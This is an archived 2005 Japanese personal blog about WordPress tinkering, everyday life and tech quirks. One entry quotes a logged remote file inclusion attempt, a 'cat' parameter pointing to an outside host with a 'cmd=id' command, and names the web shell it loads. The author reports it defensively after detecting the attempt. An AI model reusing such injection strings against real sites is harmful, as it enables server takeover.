hiromasa.zone : o)

2005/7/27 Wednesday 投稿時の月齢:21.4  月名:二十二日月  潮汐:小潮 Moon:21.4[二十二日月]今日の心技体 : 好調期好調期好調期

何となく気恥ずかしい単語 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:35

何となく声に出して言うのが気恥ずかしい単語というのがあります。 思いついたのをあげてみます。

  • Web サイト → 文章ではかけるが声には出さない筆頭。 ついホームページといってしまう。
  • ブログ → なんでだろ。 音かな。。 ブロガーも同様。
  • ping → ネットワーク疎通確認のコマンド「ピング」。 これは普通にいえるけど、、本当は「ピン」。 ピン飛ばしてみて、、とかいえない。 はっ?っていわれそうで。 ピンで通じる職場ってあるのだろうか。。
  • Dreamweaver → Macromedia の HTML オーサリングソフトの名前。 ドリームウィーバー。 ドリームウェーバーではない。 「ウィ」のところがちょっと恥ずかしい。
  • ソニックザヘッジホック → セガの昔のゲームソフト名。 店頭で買おうとしてお店のおにーさんにソフト名を言いうときにどもりました。「そ、そ、そにっくざ・・・」。 コナミ「バイオミラクル ぼくってウパ」も買えません。。

本来は普通だけど、なんとなくカッコつけている感じがする言葉が苦手なのでしょうか。 よくネタにされる、バイオミラクル~は単純に文面ですが。  ぼくってウパ、ってなんだそりゃ。 🙂

2005/7/26 Tuesday 投稿時の月齢:20.4  月名:二十日余の月  潮汐:中潮 Moon:20.4[二十日余の月]今日の心技体 : 好調期好調期好調期

Amazon Web Service XSL このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:53

XSL。 聞いたことはあれど実際に扱ったことはなかったもののひとつ。

Amazon Web Service API 呼び出し結果を XSL 経由でもらえるということで、面白そうだったのでやってみました。

HTML に対する CSS。 XML に対する XSL。  くらいの認識でしたが、XSL ははるかに難しかった。。 CSS は、元の HTML に対して影響を及ぼすことはできませんが、XSL はデータ源の XML に対して処理を行い(たとえば)検索や抽出をかけ整形し、その結果を出力することができます。

この XSL ですが、他の言語で言えば SQL や SAS に近い考え方をもっている感じです。 上から下に流れる手続き型ではなく、データに対してやりたいことを一度に全て定義するイメージですかね。。 うまく表現できないのですが・・・。

で、わけわかりません。(笑) 他の方がつくられている XSL を参考に、なんとかできあがりました。 ひろまさくんの必殺技、いにしえより伝わる大技、「論より RUN」 デス。

キーワード検索結果の上位3つの商品を Ads by goooogle 風に表示します。

こんな感じです。(”XSL” 書籍の検索結果)

Amazon Web Service 用 XSL

amazon.xsl

HTML にいれるタグ

<iframe src="http://xml-jp.amznxslt.com/onca/xml3?mode=books-jp&sort=&KeywordSearch=[キーワードの UTF-8 URL エンコード文字]&page=1&locale=jp&dev-t=158HHPZ52MBDXASDZ1R2&t=[アソシエイトID]&type=lite&f=http://[XSL の URL]" marginwidth="0" marginheight="0" width="468" height="100" border="0" frameborder="0" style="border:none;" scrolling="no"></iframe>

こんなふうに呼び出せば出るはずです。 (**例えばでつくった物でうまく動かないかもしれないので注意です**)

キーワード部分を php なんかでページに応じて可変で挿入すれば、そのページにあった広告がだせますね。 いまは検索にヒットしないと、空のボックスになってしまいます。

本棚をあさったところ XSL の本がでてきたのでもう少し研究してみます。 :-) なかなか新鮮でした。

2005/7/25 Monday 投稿時の月齢:19.4  月名:更待月  潮汐:中潮 Moon:19.4[更待月]今日の心技体 : 好調期好調期好調期

Re: 驚愕の真実 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:54

ずっとしていた勘違いってありますよね。

驚愕の真実@Masayan さん

ちょっと・・・いや、かなり恥ずかしい最近改めて知った真実があります。

ぼくもですねー、読み間違え、告白するともちろんあります。 これはあほすぎますよ、、かなり恥ずかしいですよ、、間違え続けてさんじゅうねん、、

みよじ。(←なぜか変換できない

・・・。

もちろん、

みょうじ めう― 1苗字】
〔「苗」は「苗裔(びようえい)」の意〕「名字」に同じ。

です。 いまだに間違って入力して「変換できねーよ」となります。 頭は覚えたのに心が覚えていないっす。 これも、ワープロ文化の弊害でしょう。(←人のせいかい

この手のって周りの人が(逆に恥ずかしくて)指摘してくれなかったりすることもあって直らないのですよね。。 一度、みんなで会社のホワイトボードに書き出したことがあるのですが、、

  • 脆弱性 – ぜいじゃくせい → ぎじゃくせい
  • (PC の)デスクトップ – ですくとっぷ → ディスクトップ
  • インストール- いんすとーる → インストゥール
  • Yahoo – やふー → やっほー

ああ、もっと相当数あったのですが忘れてしまいました。 調べておきます。 🙂

読み違いと違いますが、「恐るべき認識違い」というのもあるのでここで紹介。

龍は実在すると思っていた。(A子さん

(;゚д゚) ・・・

カッパがいると信じている。信じるというか普通にいると思っている。(A子さんの母

(;゚д゚) ・・・

「台風一過」は台風ファミリーのことだと思っていた。(B子さん

(;゚д゚) クワ・・・

土管の「ど」は、”ど”でかいとか、言葉を強くするための「ど」だと思っていた。 すごい管で「ど管」(C子さん

(つд⊂)ゴシゴシゴシ

自分アホさはさておき人をネタにするやつ。

PHPコードを行番号付きで色分け表示するプラグイン このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 0:09

PHPコードを行番号付きで色分け表示するプラグイン@Chameleon Cyberさん にトラックバックしています。

「WordPress のプラグインを作ろう」というドキュメントを書こうとしていたのですが、、困ったことが一点。

ソースをきれいにサイトに表示するにはどうすればいいか。

やっぱり色分けしたほうがいいよなーとか、行番号もあった方がいいとか、別画面起動はいやだなーなどと思っていたら、素晴らしいプラグインが登場!!

PHP Highligh String Ver.0.1.1
しばらく、Syntax Highlighter Enscriptプラグインを愛用していたのですが、これは行番号をつけてくれません。
そこで、Syntax Highlighter Enscriptと(たぶん)互換で、さらに行番号を出力してくれるプラグインを作ってみました。ただし、PHPコード専用です。

完璧です。 行番号付でかつ、コピーアンドペーストで行番号がくっついてきません。 

文書中でコードの部分解説もしたかったので、行番号の開始行数を指定できるようにアドホックコードを追加してみました。

82 行目からの analyze_callback 関数に number 属性を取得できる処理を追加。

function analyze_callback($match) {
    $attr = $match[1];
    $code = $match[2];
    $code = str_replace('\"',  '"', $code);
    
    $re_num = '/\s+number\s*=\s*["\']?([^"\']+)["\']?/xi';
    if(preg_match($re_num, $attr, $number)) {
    	$start_number = $number[1];
    } else {
    	$start_number = 1;
    }
    
    $re_lang = '/\s+lang\s*=\s*["\']?([^"\']+)["\']?/xi';
    $num = preg_match($re_lang, $attr, $lang);
    if ($num) {
        $code = htmlunspecialchars($code);
        $code = set_color($code, $lang[1], $start_number);
        $attr = preg_replace($re_lang, '', $attr);
    }
    return "<pre$attr>$code</pre>";
}

31行目、set_color 関数を number をもらうようにして、

function set_color($code,$lang, $start_number) {

54 行目くらいで 最初の <? php ? と ?> を削除して、

    array_shift($temp_array);
    array_pop($temp_array);

56行目の ol タグに start 属性 で 開始行を指定しています。

    $code = "<div class=\"code\"><ol start=\"$start_number\">". @join('', $temp_array) . "\n</ol></div>";

開始行については IE は 100以上指定できないようです。でも分かるから OK ということにしましょう。 🙂

上のソース表示は、早速 PHP Highligh String を使わせて頂いているものです。 いやあ、素晴らしい。

chameleon さんどうもありがとうございました。 感謝です。

追記。

あ、\ マークが消えてしまっている.. あれ、どうすればいいんだ。。 明日ちょっとみてみます

↑わかりました、正規表現文字がソース中にあると削除されてしまうようなので、事前にクオートすると良いようです!。

    $code = highlight_string( $code, true ); 
    $code = preg_quote($code, '/');

これで OK そうです。 🙂

PHP Highlight String Ver.0.1.2 で修正していただきました!。 しかも上の直し方は間違いです。。orz どうもありがとうございました!。

2005/7/24 Sunday 投稿時の月齢:18.0  月名:寝待月  潮汐:中潮 Moon:18.0[寝待月]今日の心技体 : 好調期好調期好調期

たまや このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 11:30

ひさびさに普通のネタ。 昨日の出来事。

とりあえず地震に揺られる。 4くらいあったのか。 本読みながらウトウトしてたので、寝ぼけていてよく覚えていない・・・。 心配してメール、電話くれた方ごめんなさい。。

その後、そのまま半分寝ぼけながら多摩川花火大会へ。 近所なのでてくてく見に行く。 交通規制かかっていて車はものすごい渋滞。 メイン会場から1キロほどの橋の上でみてみました。 音が数秒遅れてきます。

1万発 あげたらしい。 やっぱ東京の花火はすごいですね。 札幌だと3千発がいいとこ。 東京湾は1万2千発、江戸川は1万4千発あげるらしい。

仕掛け花火(?)が結構あって、「土星」「ハート」「☆」「ネコ(ドラエモン?)」「うずまき」なんかもあがっていました。 ネコのヒゲなんかどうやってつくっているのだろう。 不思議です。

うん、オチがない。 まぁいいっか。 🙂

2005/7/23 Saturday 投稿時の月齢:16.9  月名:立待月  潮汐:大潮 Moon:16.9[立待月]今日の心技体 : 好調期好調期好調期

招かざる客 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 9:10

今朝起床後PCを起動すると、働かないと思っていたものが動いていた。

あやしい Apache ログ検出スクリプト。

お手製のものですが、まぁなんだってわけでもないです。URL の引数に通常は入らない文字列があるのを検出するスクリプト。

DB の SQL 構文(SQLインジェクション)とか、URL(ファイルインジェクション) とか、UNIX のコマンド(コマンドインジェクション)とか、ものすごい長い(バッファオーバーラン)とかのセキュリティホールねらいの変なアクセスを検知します。

で、ひっかかったのはこれ。

cat=http://mi.*****.net.do/carlos18/tool25.dot?&cmd=id

WordPress の index.php に対するこんなアクセスが。 cat はカテゴリを指定する引数ですが、ここに URL をつっこんできていて、あきらかにファイルインジェクションを使ったクラックです。一応 URL は伏せ字。

・・・やられたか。。 とおもってサイト見てみたら無事でした。 よかつた。

一応確認してみると、cat の引数にはファイルインジェクションの脆弱性はなさそうで事なきを得たようです。 無作為にしては cat って引数はあっているし、WP のバージョンによっては脆弱性があるのでしょうか。(未確認)

まぁやられっぱなしもよくないので、何をやっているか見る。

dtp

ファイルインジェクションがうまく動いちゃうと、こんなふうにサーバの情報を表示しつつ、コマンドCGI (PHP だけど)でサーバを操作できるようになるようです。 Defacing Tool Pro という名前らしい。

de・face
━━ vt. 表面を傷つける[摩滅する]; 読めなくする, わからなくする.

しかしソースの汚いスクリプトだ。 子供達よ、Pro とかつけるんなら、もうちょっとましにかけ。 そんなんじゃプロになれないぞ。 🙂

2005/7/22 Friday 投稿時の月齢:16.4  月名:立待月  潮汐:大潮 Moon:16.4[立待月]今日の心技体 : 好調期好調期好調期

WordPress をおうちでうごかそう! このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 22:10

やっと書けました。 苦節3日。 orz

Eclipse + XAMPP で WordPress の開発環境を作ろう@ひろまさ

WordPress の開発・試験環境を、おうちの PC に構築しよう。というお話です。

  • 1時間で設定可能。お手軽。
  • ファイル操作自由自在
  • PHP のシンタックスハイライトでエラーフリーだ
  • ソースファイルの空をハネのように飛べる
  • もれなくカッコイイ統合開発環境 Eclipse ユーザになれる(?)

とそういう感じです。(←全然分からん

自分の PC で Apache と PHP と MySQL 、それと統合環境を動かせば、

ファイル修正 → サーバにFTP → ブラウザで確認 → 構文エラー(涙 →以下繰り返し..

というサイクルから FTP の部分と、エラーチェックの部分を省くことができます。 自分の PC 上なので FTP 不要で、構文はファイル修正時にリアルタイムにエラーを指摘してくれます。 自分の PC 上で完成したファイルを最後にホスティングしている公開サーバに FTP すれば OK ということになります。

Eclipse スクリーンショット

設定は簡単で、環境は1時間で作れると思います。 修正サイクルの短縮で1時間くらい絶対取り戻せますので、よければやってみてください。 🙂

WordPress にすばらしいテーマやプラグインやハックが増えることを祈って。

2005年7月22日。 ひろまさ。(←最終回ではない

2005/7/21 Thursday 投稿時の月齢:15.5  月名:満月  潮汐:大潮 Moon:15.5[満月]今日の心技体 : 好調期好調期好調期

おっとっと2 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 23:59

やべ、もうこんな時間。 と昨日に引き続きぎりぎりの投稿。

ただいま、WordPress 用の試験環境の構築方法を書いています。 自分のPC上に Apache + MySQL + PHP の環境を作ってしまおうという話です。

XAMPP という関連サーバパッケージが一度にインストールできるプロダクトがあって、これをつかうと Windows にファイルをコピーするだけであっけなく完了してしまいます。

それだけだとつまらないので、プロジェクトの管理やシンタックスハイライト(PHP の即時エラーチェック)、関数ジャンプ、その他便利機能が備わった開発環境 Eclipse + phpEclise のインストールと使い方も書いています。

もうちょっとで書けますので、ご期待(?)下さい。 🙂

2005/7/20 Wednesday 投稿時の月齢:14.5  月名:十五夜  潮汐:大潮 Moon:14.5[十五夜]今日の心技体 : 好調前不安定期好調前不安定期好調期

おっとっと このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 23:55

もうこんな時間でした。。 やばいネタを考えていなかった。(笑

困ったときの気になりリンク集。

Google Moon

Google Map の “月” バージョン。 NASA World Wind にもデススターバージョンがありましたなー。 笑えます。

Firefox 1.0.6 日本語版 Release@kohaku さん

セキュリティフィックス。 Thunderbird 日本語版はまだ。 1.0.5 は本家のほうでいろいろばたばたしたようで、Mozilla Japan のみなさんお疲れ様でした。

ITmedia エンタープライズ:SunとNTTドコモが携帯電話用の新Javaプラットフォームを計画 (1/2)

なかなか面白そう。 iアプリの普及台数はプラットフォームとして結構魅力です。 ちなみに、iアプリをお使いの方は xmlrpc 経由で WordPress に書き込みできます。(iアプリ用のブロガークライアント

WordPress Japan DB > オフ会 in 大阪(8月)

おお、いいっすねー。 WordPress Japan の OFF は初めてなのかな?。

お、やばい。 米とがなくては。。

2005/7/19 Tuesday 投稿時の月齢:13.3  月名:待宵月  潮汐:大潮 Moon:13.3[待宵月]今日の心技体 : 好調前不安定期好調前不安定期好調期

全日本女子バレー占い このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 20:23

全日本女子バレー占い@Masayan さんにトラックバックしています。

ガンダム占いに続きやるしか!

全日本女子バレー占い

ひろまささんは 竹下佳江 選手タイプです!

竹下佳江さんのあなたは、温和でソフト、とても人当たりの良いタイプです。ものわかりが良く、誰とでも公平に接することができるので、周囲の人々はあなたを慕い、信頼しています。その証拠に、なにかと相談事を持ち込まれることも多いのでは。あなたも困っている人を見ると放っておけないので、ついつい力を貸してしまうようです。ですが、他人の相談には乗ってあげられても、いざ自分のことになるとなぜか秘密主義に。周囲に迷惑はかけられない、自分の力で解決しなければと思うあまり、ストレスを溜め込んでしまいそう。悩み事や迷い事は素直に相談してみて。いつもあなたに助けられている人たちは、いつかあなたの力になりたいと願っているのです。

ほほー! 小さいけどブロックも決めますよ。 :-) 微妙に先日の「ジムコマンド」と似ているのがすごい。

ひろまささんの来世は、牛ふんです!

・・・。 「牛のふん」じゃなくて、「牛ふん」かYo!! 略かYo!!

バボちゃんがよかった。。。

このサイトについて

このブログは引っ越しを行いコンテンツはフリーズしています。hiromasa.anotherへどうぞ。

Powerd By WordPress

We (Heart) WordPress

WordPressME Logo
WordPress Plugins

ブログ内検索

Todays Popular

WordPress Ring

はてなリング - WordPress -

情報

18 queries. 0.160 seconds.

このページの先頭へ